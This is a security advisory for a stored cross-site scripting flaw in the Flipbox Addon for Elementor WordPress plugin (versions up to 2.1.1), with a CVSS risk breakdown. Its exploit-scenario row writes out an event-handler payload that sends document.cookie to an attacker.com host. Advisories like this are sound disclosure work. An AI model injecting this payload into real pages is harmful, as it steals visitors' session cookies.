The Flipbox Addon for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Flipbox widget's button URL custom_attributes field in all versions up to, and including, 2.1.1 due to insufficient validation of custom attribute names. Specifically, the plugin uses esc_html() on the attribute name which does not prevent event handler attributes (e.g., onmouseover, onclick). This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Vulnerability AssessmentAI
| Exploitation | Exploitation requires authenticated user with author-level access or above to WordPress. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | CVSS 6.4 indicates medium risk with several mitigating factors: AV:N (network-exploitable) and AC:L (low complexity) suggest ease of triggering, but PR:L (requires authenticated author-level access) significantly restricts the attacker pool. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated WordPress author or contributor with malicious intent (or compromised credentials) opens a page containing a Flipbox widget in Elementor's editor. In the widget's button URL settings, instead of a normal URL, the attacker enters a custom_attributes field with an event handler, such as: `onmouseover='fetch("https://attacker.com/steal?cookie="+document.cookie)'`. … |
